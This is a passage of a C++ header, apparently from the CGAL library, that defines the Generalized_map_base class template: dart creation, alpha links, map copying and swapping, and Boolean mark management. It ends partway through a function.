#include <CGAL/config.h>
#if defined( __INTEL_COMPILER )
// Workarounf for warning in function basic_link_beta_0
#pragma warning disable 1017
#endif
#include <boost/config.hpp>
#if (BOOST_GCC >= 40900)
_Pragma("GCC diagnostic push")
_Pragma("GCC diagnostic ignored \"-Warray-bounds\"")
#endif
namespace CGAL {
/** @file Generalized_map.h
* Definition of generic dD Generalized map.
*/
struct Generalized_map_tag {};
/** Generic definition of generalized map in dD.
* The Generalized_map class describes an dD generalized map. It allows
* mainly to create darts, to use marks onto these darts, to get and set
* the alpha links, and to manage enabled attributes.
*/
template < unsigned int d_, class Refs,
class Items_=Generic_map_min_items,
class Alloc_=CGAL_ALLOCATOR(int),
class Storage_= Generalized_map_storage_1<d_, Items_, Alloc_> >
class Generalized_map_base: public Storage_
{
template<typename Gmap,unsigned int i,typename Enabled>
friend struct CGAL::internal::Call_merge_functor;
template<typename Gmap,unsigned int i,typename Enabled>
friend struct CGAL::internal::Call_split_functor;
template<class Map, unsigned int i, unsigned int nmi>
friend struct Remove_cell_functor;
template<class Map, unsigned int i>
friend struct Contract_cell_functor;
template<typename Gmap>
friend struct internal::Init_attribute_functor;
template<typename CMap>
friend struct Swap_attributes_functor;
public:
template < unsigned int A, class B, class I, class D, class S >
friend class Generalized_map_base;
typedef Generalized_map_tag Combinatorial_data_structure;
/// Types definition
typedef Storage_ Storage;
typedef Storage Base;
typedef Generalized_map_base<d_, Refs, Items_, Alloc_, Storage_ > Self;
typedef typename Base::Dart Dart;
typedef typename Base::Dart_handle Dart_handle;
typedef typename Base::Dart_const_handle Dart_const_handle;
typedef typename Base::Dart_container Dart_container;
typedef typename Base::size_type size_type;
typedef typename Base::Helper Helper;
typedef typename Base::Attributes Attributes;
typedef typename Base::Items Items;
typedef typename Base::Alloc Alloc;
typedef typename Base::Use_index Use_index;
static const size_type NB_MARKS = Base::NB_MARKS;
static const size_type INVALID_MARK = NB_MARKS;
static const unsigned int dimension = Base::dimension;
typedef typename Base::Null_handle_type Null_handle_type;
using Base::null_handle;
using Base::mdarts;
using Base::get_alpha;
using Base::is_free;
using Base::set_dart_mark;
using Base::get_dart_mark;
using Base::flip_dart_mark;
using Base::set_dart_marks;
using Base::get_dart_marks;
using Base::dart_link_alpha;
using Base::dart_unlink_alpha;
using Base::attribute;
using Base::mattribute_containers;
using Base::dart_of_attribute;
using Base::set_dart_of_attribute;
using Base::info_of_attribute;
using Base::info;
using Base::dart;
/// Typedef for Dart_range, a range through all the darts of the map.
typedef Dart_container Dart_range;
typedef const Dart_container Dart_const_range;
/// Typedef for attributes
template<int i>
struct Attribute_type: public Base::template Attribute_type<i>
{};
template<int i>
struct Attribute_handle: public Base::template Attribute_handle<i>
{};
template<int i>
struct Attribute_const_handle:
public Base::template Attribute_const_handle<i>
{};
template<int i>
struct Attribute_range: public Base::template Attribute_range<i>
{};
template<int i>
struct Attribute_const_range:
public Base::template Attribute_const_range<i>
{};
class Exception_no_more_available_mark {};
public:
/** Default Generalized_map constructor.
* The map is empty.
*/
Generalized_map_base()
{
CGAL_static_assertion_msg(Helper::nb_attribs<=dimension+1,
"Too many attributes in the tuple Attributes_enabled");
this->init_storage();
this->mnb_used_marks = 0;
this->mmask_marks.reset();
for ( size_type i = 0; i < NB_MARKS; ++i)
{
this->mfree_marks_stack[i] = i;
this->mindex_marks[i] = i;
this->mnb_marked_darts[i] = 0;
this->mnb_times_reserved_marks[i] = 0;
}
this->automatic_attributes_management = true;
CGAL_assertion(number_of_darts()==0);
}
/** Copy the given generalized map into *this.
* Note that both Gmap can have different dimensions and/or non void attributes.
* @param amap the generalized map to copy.
* @post *this is valid.
*/
template <typename GMap2, typename Converters, typename DartInfoConverter,
typename PointConverter>
void copy(const GMap2& amap, const Converters& converters,
const DartInfoConverter& dartinfoconverter,
const PointConverter& pointconverter,
boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle>* dart_mapping=NULL)
{
this->clear();
this->mnb_used_marks = amap.mnb_used_marks;
this->mmask_marks = amap.mmask_marks;
this->automatic_attributes_management =
amap.automatic_attributes_management;
for (size_type i = 0; i < NB_MARKS; ++i)
{
this->mfree_marks_stack[i] = amap.mfree_marks_stack[i];
this->mused_marks_stack[i] = amap.mused_marks_stack[i];
this->mindex_marks[i] = amap.mindex_marks[i];
this->mnb_marked_darts[i] = amap.mnb_marked_darts[i];
this->mnb_times_reserved_marks[i] = amap.mnb_times_reserved_marks[i];
}
// Create an mapping between darts of the two maps (originals->copies).
// (here we cannot use CGAL::Unique_hash_map because it does not provide
// iterators...
boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle> local_dartmap;
if (dart_mapping==NULL)
{ dart_mapping=&local_dartmap; }
for (typename GMap2::Dart_const_range::const_iterator
it=amap.darts().begin(), itend=amap.darts().end();
it!=itend; ++it)
{
(*dart_mapping)[it]=mdarts.emplace();
init_dart((*dart_mapping)[it], amap.get_marks(it));
internal::Copy_dart_info_functor<GMap2, Refs, DartInfoConverter>::
run(amap, static_cast<Refs&>(*this), it, (*dart_mapping)[it],
dartinfoconverter);
}
unsigned int min_dim=(dimension<amap.dimension?dimension:amap.dimension);
typename boost::unordered_map<typename GMap2::Dart_const_handle,Dart_handle>
::iterator dartmap_iter, dartmap_iter_end=dart_mapping->end();
for (dartmap_iter=dart_mapping->begin(); dartmap_iter!=dartmap_iter_end;
++dartmap_iter)
{
for (unsigned int i=0; i<=min_dim; i++)
{
if (!amap.is_free(dartmap_iter->first,i) &&
(dartmap_iter->first)<(amap.alpha(dartmap_iter->first,i)))
{
basic_link_alpha(dartmap_iter->second,
(*dart_mapping)[amap.alpha(dartmap_iter->first,i)], i);
}
}
}
/** Copy attributes */
for (dartmap_iter=dart_mapping->begin(); dartmap_iter!=dartmap_iter_end;
++dartmap_iter)
{
Helper::template Foreach_enabled_attributes
< internal::Copy_attributes_functor <GMap2, Refs, Converters,
PointConverter> >::
run(amap, static_cast<Refs&>(*this),
dartmap_iter->first, dartmap_iter->second,
converters, pointconverter);
}
CGAL_assertion (is_valid () == 1);
}
template <typename GMap2>
void copy(const GMap2& amap,
boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle>* dart_mapping=NULL)
{
CGAL::cpp11::tuple<> converters;
Default_converter_dart_info<GMap2, Refs> dartinfoconverter;
Default_converter_cmap_0attributes_with_point<GMap2, Refs> pointconverter;
copy(amap, converters, dartinfoconverter, pointconverter, dart_mapping);
}
template <typename GMap2, typename Converters>
void copy(const GMap2& amap, const Converters& converters,
boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle>* dart_mapping=NULL)
{
Default_converter_cmap_0attributes_with_point<GMap2, Refs> pointconverter;
Default_converter_dart_info<GMap2, Refs> dartinfoconverter;
copy(amap, converters, dartinfoconverter, pointconverter, dart_mapping);
}
template <typename GMap2, typename Converters, typename DartInfoConverter>
void copy(const GMap2& amap, const Converters& converters,
const DartInfoConverter& dartinfoconverter,
boost::unordered_map<typename GMap2::Dart_const_handle, Dart_handle>* dart_mapping=NULL)
{
Default_converter_cmap_0attributes_with_point<GMap2, Refs> pointconverter;
copy(amap, converters, dartinfoconverter, pointconverter, dart_mapping);
}
// Copy constructor from a map having exactly the same type.
Generalized_map_base (const Self & amap)
{ copy<Self>(amap); }
// "Copy constructor" from a map having different type.
template <typename GMap2>
Generalized_map_base(const GMap2& amap)
{ copy(amap); }
// "Copy constructor" from a map having different type.
template <typename GMap2, typename Converters>
Generalized_map_base(const GMap2& amap, Converters& converters)
{ copy(amap, converters); }
// "Copy constructor" from a map having different type.
template <typename GMap2, typename Converters, typename DartInfoConverter>
Generalized_map_base(const GMap2& amap, Converters& converters,
const DartInfoConverter& dartinfoconverter)
{ copy(amap, converters, dartinfoconverter); }
// "Copy constructor" from a map having different type.
template <typename GMap2, typename Converters, typename DartInfoConverter,
typename PointConverter>
Generalized_map_base(const GMap2& amap, Converters& converters,
const DartInfoConverter& dartinfoconverter,
const PointConverter& pointconverter)
{ copy(amap, converters, dartinfoconverter, pointconverter); }
/** Affectation operation. Copies one map to the other.
* @param amap a generalized map.
* @return A copy of that generalized map.
*/
Self & operator= (const Self & amap)
{
if (this!=&amap)
{
Self tmp(amap);
this->swap(tmp);
}
return *this;
}
/** Swap this generalized map with amap, a second generalized map.
* Note that the two maps have exactly the same type.
* @param amap a generalized map.
*/
void swap(Self & amap)
{
if (this!=&amap)
{
mdarts.swap(amap.mdarts);
Helper::template Foreach_enabled_attributes
< internal::Swap_attributes_functor <Self> >::run(*this, amap);
std::swap_ranges(mnb_times_reserved_marks,
mnb_times_reserved_marks+NB_MARKS,
amap.mnb_times_reserved_marks);
std::swap(mmask_marks,amap.mmask_marks);
std::swap(mnb_used_marks, amap.mnb_used_marks);
std::swap_ranges(mindex_marks,mindex_marks+NB_MARKS,
amap.mindex_marks);
std::swap_ranges(mfree_marks_stack, mfree_marks_stack+NB_MARKS,
amap.mfree_marks_stack);
std::swap_ranges(mused_marks_stack,mused_marks_stack+NB_MARKS,
amap.mused_marks_stack);
std::swap_ranges(mnb_marked_darts,mnb_marked_darts+NB_MARKS,
amap.mnb_marked_darts);
std::swap(automatic_attributes_management,
amap.automatic_attributes_management);
}
}
/** Clear the generalized map. Remove all darts and all attributes.
* Note that reserved marks are not free.
*/
void clear()
{
mdarts.clear();
for ( size_type i = 0; i < NB_MARKS; ++i)
this->mnb_marked_darts[i] = 0;
internal::Clear_all::run(mattribute_containers);
this->init_storage();
}
/** Test if the map is empty.
* @return true iff the map is empty.
*/
bool is_empty() const
{ return mdarts.empty(); }
friend std::ostream& operator<< (std::ostream& os, const Self& amap)
{
save_generalized_map(amap, os);
return os;
}
friend std::ifstream& operator>> (std::ifstream& is, Self& amap)
{
load_generalized_map(is, amap);
return is;
}
/** Create a new dart and add it to the map.
* The marks of the darts are initialised with mmask_marks, i.e. the dart
* is unmarked for all the marks.
* @return a Dart_handle on the new dart.
*/
#ifndef CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES
template < typename... Args >
Dart_handle create_dart(const Args&... args)
{
Dart_handle res=mdarts.emplace(args...);
init_dart(res);
return res;
}
#else
Dart_handle create_dart()
{
Dart_handle res=mdarts.emplace();
init_dart(res);
return res;
}
template < typename T1 >
Dart_handle create_dart(const T1 &t1)
{
Dart_handle res=mdarts.emplace(t1);
init_dart(res);
return res;
}
template < typename T1, typename T2 >
Dart_handle create_dart(const T1 &t1, const T2 &t2)
{
Dart_handle res=mdarts.emplace(t1, t2);
init_dart(res);
return res;
}
template < typename T1, typename T2, typename T3 >
Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3)
{
Dart_handle res=mdarts.emplace(t1, t2, t3);
init_dart(res);
return res;
}
template < typename T1, typename T2, typename T3, typename T4 >
Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3,
const T4 &t4)
{
Dart_handle res=mdarts.emplace(t1, t2, t3, t4);
init_dart(res);
return res;
}
template < typename T1, typename T2, typename T3, typename T4, typename T5 >
Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3,
const T4 &t4, const T5 &t5)
{
Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5);
init_dart(res);
return res;
}
template < typename T1, typename T2, typename T3, typename T4, typename T5,
typename T6 >
Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3,
const T4 &t4, const T5 &t5, const T6 &t6)
{
Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5, t6);
init_dart(res);
return res;
}
template < typename T1, typename T2, typename T3, typename T4, typename T5,
typename T6, typename T7 >
Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3,
const T4 &t4, const T5 &t5, const T6 &t6,
const T7 &t7)
{
Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5, t6, t7);
init_dart(res);
return res;
}
template < typename T1, typename T2, typename T3, typename T4, typename T5,
typename T6, typename T7, typename T8 >
Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3,
const T4 &t4, const T5 &t5, const T6 &t6,
const T7 &t7, const T8 &t8)
{
Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5, t6, t7, t8);
init_dart(res);
return res;
}
template < typename T1, typename T2, typename T3, typename T4, typename T5,
typename T6, typename T7, typename T8, typename T9 >
Dart_handle create_dart(const T1 &t1, const T2 &t2, const T3 &t3,
const T4 &t4, const T5 &t5, const T6 &t6,
const T7 &t7, const T8 &t8, const T9 &t9)
{
Dart_handle res=mdarts.emplace(t1, t2, t3, t4, t5, t6, t7, t8, t9);
init_dart(res);
return res;
}
#endif
/** Erase a dart from the list of darts.
* @param adart the dart to erase.
*/
void erase_dart(Dart_handle adart)
{
// 1) We update the number of marked darts.
for ( size_type i = 0; i < mnb_used_marks; ++i)
{
if (is_marked(adart, mused_marks_stack[i]))
--mnb_marked_darts[mused_marks_stack[i]];
}
// 2) We update the attribute_ref_counting.
Helper::template Foreach_enabled_attributes
<internal::Decrease_attribute_functor<Self> >::run(*this,adart);
// 3) We erase the dart.
mdarts.erase(adart);
}
/// @return true if dh points to a used dart (i.e. valid).
bool is_dart_used(Dart_const_handle dh) const
{ return mdarts.is_used(dh); }
/// @return a Dart_range (range through all the darts of the map).
Dart_range& darts() { return mdarts;}
Dart_const_range& darts() const { return mdarts; }
/** Get the first dart of this map.
* @return the first dart.
*/
Dart_handle first_dart()
{
if (darts().begin() == darts().end()) return null_handle;
return mdarts.begin();
}
Dart_const_handle first_dart() const
{
if (darts().begin() == darts().end()) return null_handle;
return mdarts.begin();
}
/// @return the Dart_handle corresponding to the given dart.
Dart_handle dart_handle(Dart& adart)
{ return mdarts.iterator_to(adart); }
Dart_const_handle dart_handle(const Dart& adart) const
{ return mdarts.iterator_to(adart); }
/** Return the highest dimension for which dh is not free.
* @param dh a dart handle
* @return the dimension d such that dh is not d-free but k-free for
* all k>d. -1 if the dart is free for all d in {0..n}
*/
int highest_nonfree_dimension(Dart_const_handle dh) const
{
for (int i=(int)dimension; i>=0; --i)
{ if ( !is_free(dh, i) ) return i; }
return -1;
}
/** Return a dart belonging to the same edge and to the second vertex
* of the current edge (NULL if such a dart does not exist).
* @return An handle to a dart belonging to the other extremity.
*/
Dart_handle other_extremity(Dart_handle dh)
{
if (!is_free(dh, 0)) return alpha(dh, 0);
return null_handle;
}
Dart_const_handle other_extremity(Dart_const_handle dh) const
{
if (!is_free(dh, 0)) return alpha(dh, 0);
return null_handle;
}
// Set the handle on the i th attribute
template<unsigned int i>
void set_dart_attribute(Dart_handle dh,
typename Attribute_handle<i>::type ah)
{
CGAL_static_assertion_msg(Helper::template Dimension_index<i>::value>=0,
"set_dart_attribute<i> called but i-attributes are disabled.");
if ( this->template attribute<i>(dh)==ah ) return;
if ( this->template attribute<i>(dh)!=null_handle )
{
this->template dec_attribute_ref_counting<i>(this->template attribute<i>(dh));
if ( this->are_attributes_automatically_managed() &&
this->template get_attribute_ref_counting<i>
(this->template attribute<i>(dh))==0 )
this->template erase_attribute<i>(this->template attribute<i>(dh));
}
this->template basic_set_dart_attribute<i>(dh, ah);
if ( ah!=null_handle )
{
this->template set_dart_of_attribute<i>(ah, dh);
this->template inc_attribute_ref_counting<i>(ah);
}
}
protected:
/// Marks can be modified even for const handle; otherwise it is not
/// possible to iterate through const generalized maps.
// Initialize a given dart: all alpha to null_dart_handle and all
// attributes to null, all marks unmarked.
void init_dart(Dart_handle adart)
{
set_dart_marks(adart, mmask_marks);
for (unsigned int i = 0; i <= dimension; ++i)
dart_unlink_alpha(adart, i);
Helper::template Foreach_enabled_attributes
<internal::Init_attribute_functor<Self> >::run(*this, adart);
}
// Initialize a given dart: all alpha to this and all
// attributes to null, marks are given.
void init_dart(Dart_handle adart,
const std::bitset<NB_MARKS>& amarks)
{
set_marks(adart, amarks);
for (unsigned int i = 0; i <= dimension; ++i)
dart_unlink_alpha(adart, i);
Helper::template Foreach_enabled_attributes
<internal::Init_attribute_functor<Self> >::run(*this, adart);
}
public:
/// @return the alphas of ADart (alpha are used in the same order than
/// they are given as parameters)
#ifndef CGAL_CFG_NO_CPP0X_VARIADIC_TEMPLATES
template<typename ...Alphas>
Dart_handle alpha(Dart_handle ADart, Alphas... alphas)
{ return CGAL::internal::Alpha_functor<Self, Dart_handle, Alphas...>::
run(*this, ADart, alphas...); }
template<typename ...Alphas>
Dart_const_handle alpha(Dart_const_handle ADart, Alphas... alphas) const
{ return CGAL::internal::Alpha_functor<const Self, Dart_const_handle, Alphas...>::
run(*this, ADart, alphas...); }
template<int... Alphas>
Dart_handle alpha(Dart_handle ADart)
{ return CGAL::internal::Alpha_functor_static<Self, Dart_handle, Alphas...>::
run(*this, ADart); }
template<int... Alphas>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return CGAL::internal::Alpha_functor_static<const Self, Dart_const_handle, Alphas...>::
run(*this, ADart); }
#else
Dart_handle alpha(Dart_handle ADart, int B1)
{ return this->get_alpha(ADart, B1); }
Dart_handle alpha(Dart_handle ADart, int B1, int B2)
{ return alpha(alpha(ADart, B1), B2); }
Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3)
{ return alpha(alpha(ADart, B1), B2, B3); }
Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3,
int B4)
{ return alpha(alpha(ADart, B1), B2, B3, B4); }
Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3,
int B4, int B5)
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5); }
Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3,
int B4, int B5, int B6)
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6); }
Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3,
int B4, int B5, int B6, int B7)
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7); }
Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3,
int B4, int B5, int B6, int B7, int B8)
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7, B8); }
Dart_handle alpha(Dart_handle ADart, int B1, int B2, int B3,
int B4, int B5, int B6, int B7, int B8, int B9)
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7, B8, B9); }
template<int B1>
Dart_handle alpha(Dart_handle ADart)
{ return this->template get_alpha<B1>(ADart); }
template<int B1, int B2>
Dart_handle alpha(Dart_handle ADart)
{ return alpha<B2>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3>
Dart_handle alpha(Dart_handle ADart)
{ return alpha<B2, B3>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4>
Dart_handle alpha(Dart_handle ADart)
{ return alpha<B2, B3, B4>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5>
Dart_handle alpha(Dart_handle ADart)
{ return alpha<B2, B3, B4, B5>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5, int B6>
Dart_handle alpha(Dart_handle ADart)
{ return alpha<B2, B3, B4, B5, B6>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5, int B6,
int B7>
Dart_handle alpha(Dart_handle ADart)
{ return alpha<B2, B3, B4, B5, B6, B7>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5, int B6,
int B7, int B8>
Dart_handle alpha(Dart_handle ADart)
{ return alpha<B2, B3, B4, B5, B6, B7, B8>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5, int B6,
int B7, int B8, int B9>
Dart_handle alpha(Dart_handle ADart)
{ return alpha<B2, B3, B4, B5, B6, B7, B8, B9>(alpha<B1>(ADart)); }
Dart_const_handle alpha(Dart_const_handle ADart, int B1) const
{ return this->get_alpha(ADart, B1); }
Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2) const
{ return alpha(alpha(ADart, B1), B2); }
Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3) const
{ return alpha(alpha(ADart, B1), B2, B3); }
Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3,
int B4) const
{ return alpha(alpha(ADart, B1), B2, B3, B4); }
Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3,
int B4, int B5) const
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5); }
Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3,
int B4, int B5, int B6) const
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6); }
Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3,
int B4, int B5, int B6, int B7) const
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7); }
Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3,
int B4, int B5, int B6, int B7, int B8) const
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7, B8); }
Dart_const_handle alpha(Dart_const_handle ADart, int B1, int B2, int B3,
int B4, int B5, int B6, int B7, int B8, int B9) const
{ return alpha(alpha(ADart, B1), B2, B3, B4, B5, B6, B7, B8, B9); }
template<int B1>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return this->template get_alpha<B1>(ADart); }
template<int B1, int B2>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return alpha<B2>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return alpha<B2, B3>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return alpha<B2, B3, B4>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return alpha<B2, B3, B4, B5>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5, int B6>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return alpha<B2, B3, B4, B5, B6>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5, int B6,
int B7>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return alpha<B2, B3, B4, B5, B6, B7>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5, int B6,
int B7, int B8>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return alpha<B2, B3, B4, B5, B6, B7, B8>(alpha<B1>(ADart)); }
template<int B1, int B2, int B3, int B4, int B5, int B6,
int B7, int B8, int B9>
Dart_const_handle alpha(Dart_const_handle ADart) const
{ return alpha<B2, B3, B4, B5, B6, B7, B8, B9>(alpha<B1>(ADart)); }
#endif
// Generic function to iterate on CMap or GMap in a generic way
bool is_previous_exist(Dart_const_handle ADart) const
{ return !this->template is_free<1>(ADart) &&
!this->template is_free<0>(alpha<1>(ADart)); }
bool is_next_exist(Dart_const_handle ADart) const
{ return !this->template is_free<0>(ADart) &&
!this->template is_free<1>(this->template alpha<0>(ADart)); }
template<unsigned int dim>
bool is_opposite_exist(Dart_const_handle ADart) const
{ return !this->template is_free<dim>(ADart) &&
!this->template is_free<0>(this->template alpha<dim>(ADart)); }
Dart_handle previous(Dart_handle ADart)
{ return this->template alpha<1, 0>(ADart); }
Dart_const_handle previous(Dart_const_handle ADart) const
{ return this->template alpha<1, 0>(ADart); }
Dart_handle next(Dart_handle ADart)
{ return this->template alpha<0, 1>(ADart); }
Dart_const_handle next(Dart_const_handle ADart) const
{ return this->template alpha<0, 1>(ADart); }
template<unsigned int dim>
Dart_handle opposite(Dart_handle ADart)
{ return this->template alpha<0, dim>(ADart); }
template<unsigned int dim>
Dart_const_handle opposite(Dart_const_handle ADart) const
{ return this->template alpha<0, dim>(ADart); }
void set_next(Dart_handle dh1, Dart_handle dh2)
{
assert(!this->template is_free<0>(dh1));
this->template link_alpha<1>(this->template alpha<0>(dh1), dh2); }
template<unsigned int dim>
void set_opposite(Dart_handle dh1, Dart_handle dh2)
{
assert(!this->template is_free<0>(dh1));
assert(!this->template is_free<0>(dh2));
this->template link_alpha<dim>(this->template alpha<0>(dh1), dh2);
this->template link_alpha<dim>(dh1, this->template alpha<0>(dh2));
}
Dart_handle other_orientation(Dart_handle ADart)
{
CGAL_assertion(!this->template is_free<0>(ADart));
return this->alpha<0>(ADart);
}
Dart_const_handle other_orientation(Dart_const_handle ADart) const
{
CGAL_assertion(!this->template is_free<0>(ADart));
return this->alpha<0>(ADart);
}
size_type number_of_halfedges() const
{
assert(is_without_boundary(0));
return number_of_darts()/2;
}
bool are_all_faces_closed() const
{
for ( typename Dart_const_range::const_iterator it(darts().begin()),
itend(darts().end()); it!=itend; ++it)
{
if (this->template is_free<0>(it) ||
this->template is_free<1>(it))
return false;
}
return true;
}
/** Count the number of used marks.
* @return the number of used marks.
*/
size_type number_of_used_marks() const
{ return mnb_used_marks; }
/** Test if a given mark is reserved.
* @return true iff the mark is reserved (ie in used).
*/
bool is_reserved(size_type amark) const
{
CGAL_assertion(amark<NB_MARKS);
return (mnb_times_reserved_marks[amark]!=0);
}
/** Count the number of marked darts for a given mark.
* @param amark the mark index.
* @return the number of marked darts for amark.
*/
size_type number_of_marked_darts(size_type amark) const
{
CGAL_assertion( is_reserved(amark) );
return mnb_marked_darts[amark];
}
/** Count the number of unmarked darts for a given mark.
* @param amark the mark index.
* @return the number of unmarked darts for amark.
*/
size_type number_of_unmarked_darts(size_type amark) const
{
CGAL_assertion( is_reserved(amark) );
return number_of_darts() - number_of_marked_darts(amark);
}
/** Test if all the darts are unmarked for a given mark.
* @param amark the mark index.
* @return true iff all the darts are unmarked for amark.
*/
bool is_whole_map_unmarked(size_type amark) const
{ return number_of_marked_darts(amark) == 0; }
/** Test if all the darts are marked for a given mark.
* @param amark the mark index.
* @return true iff all the darts are marked for amark.
*/
bool is_whole_map_marked(size_type amark) const
{ return number_of_marked_darts(amark) == number_of_darts(); }
/** Reserve a new mark.
* Get a new free mark and return its index.
* All the darts are unmarked for this mark.
* @return the index of the new mark.
* @pre mnb_used_marks < NB_MARKS
*/
size_type get_new_mark() const
{
if (mnb_used_marks == NB_MARKS)
{
std::cerr << "Not enough Boolean marks: "
"increase NB_MARKS in item class." << std::endl;
std::cerr << " (exception launched)" << std::endl;
throw Exception_no_more_available_mark();
}
size_type m = mfree_marks_stack[mnb_used_marks];
mused_marks_stack[mnb_used_marks] = m;
mindex_marks[m] = mnb_used_marks;
mnb_times_reserved_marks[m]=1;
++mnb_used_marks;
CGAL_assertion(is_whole_map_unmarked(m));
return m;
}
/** Increase the number of times a mark is reserved.
* @param amark the mark to share.
*/
void share_a_mark(size_type amark) const
{
CGAL_assertion( is_reserved(amark) );
++mnb_times_reserved_marks[amark];
}
/** @return the number of times a mark is reserved.
* @param amark the mark to share.
*/
size_type get_number_of_times_mark_reserved(size_type amark) const
{
CGAL_assertion( amark<NB_MARKS );
return mnb_times_reserved_marks[amark];
}
/** Negate the mark of all the darts for a given mark.
* After this call, all the marked darts become unmarked and all the
* unmarked darts become marked (in constant time operation).
* @param amark the mark index
*/
void negate_mark(size_type amark) const
{
CGAL_assertion( is_reserved(amark) );
mnb_marked_darts[amark] = number_of_darts() - mnb_marked_darts[amark];
mmask_marks.flip(amark);
}
/** Test if a given dart is marked for a given mark.
* @param adart the dart to test.
* @param amark the given mark.
* @return true iff adart is marked for the mark amark.
*/
bool is_marked(Dart_const_handle adart, size_type amark) const
{
CGAL_assertion( is_reserved(amark) );
return get_dart_mark(adart, amark)!=mmask_marks[amark];
}
/** Set the mark of a given dart to a state (on or off).
* @param adart the dart.
* @param amark the given mark.
* @param astate the state of the mark (on or off).
*/
void set_mark_to(Dart_const_handle adart, size_type amark,
bool astate) const
{
CGAL_assertion( is_reserved(amark) );
if (is_marked(adart, amark) != astate)
{
if (astate) ++mnb_marked_darts[amark];
else --mnb_marked_darts[amark];
flip_dart_mark(adart, amark);
}
}
/** Mark the given dart.
* @param adart the dart.
* @param amark the given mark.
*/
void mark(Dart_const_handle adart, size_type amark) const
{
CGAL_assertion( is_reserved(amark) );
if (is_marked(adart, amark)) return;
++mnb_marked_darts[amark];
flip_dart_mark(adart, amark);
}
/** Unmark the given dart.
* @param adart the dart.
* @param amark the given mark.
*/
void unmark(Dart_const_handle adart, size_type amark) const
{
CGAL_assertion( is_reserved(amark) );
if (!is_marked(adart, amark)) return;
--mnb_marked_darts[amark];
flip_dart_mark(adart, amark);
}
/** Unmark all the darts of the map for a given mark.
* If all the darts are marked or unmarked, this operation takes O(1)
* operations, otherwise it traverses all the darts of the map.
* @param amark the given mark.
*/
void unmark_all(size_type amark) const
{
CGAL_assertion( is_reserved(amark) );
if ( is_whole_map_marked(amark) )
{
negate_mark(amark);
}
else if ( !is_whole_map_unmarked(amark) )
{
for ( typename Dart_range::const_iterator it(darts().begin()),
itend(darts().end()); it!=itend; ++it)
unmark(it, amark);
}
CGAL_assertion(is_whole_map_unmarked(amark));
}
/** Free a given mark, previously calling unmark_all_darts.
* @param amark the given mark.
*/
void free_mark(size_type amark) const
{
CGAL_assertion( is_reserved(amark) );
if ( mnb_times_reserved_marks[amark]>1 )
{
--mnb_times_reserved_marks[amark];
return;
}
unmark_all(amark);
// 1) We remove amark from the array mused_marks_stack by
// replacing it with the last mark in this array.
mused_marks_stack[mindex_marks[amark]] =
mused_marks_stack[--mnb_used_marks];
mindex_marks[mused_marks_stack[mnb_used_marks]] =
mindex_marks[amark];
// 2) We add amark in the array mfree_marks_stack and update its index.
mfree_marks_stack[ mnb_used_marks ] = amark;
mindex_marks[amark] = mnb_used_marks;
mnb_times_reserved_marks[amark]=0;
}
/** Test if this map is without boundary for a given dimension.
* @param i the dimension.
* @return true iff all the darts are not i-free.
* @pre 0<=i<=n
*/
bool is_without_boundary(unsigned int i) const
{
CGAL_assertion(i<=dimension);
for ( typename Dart_const_range::const_iterator it(darts().begin()),
itend(darts().end()); it!=itend; ++it)
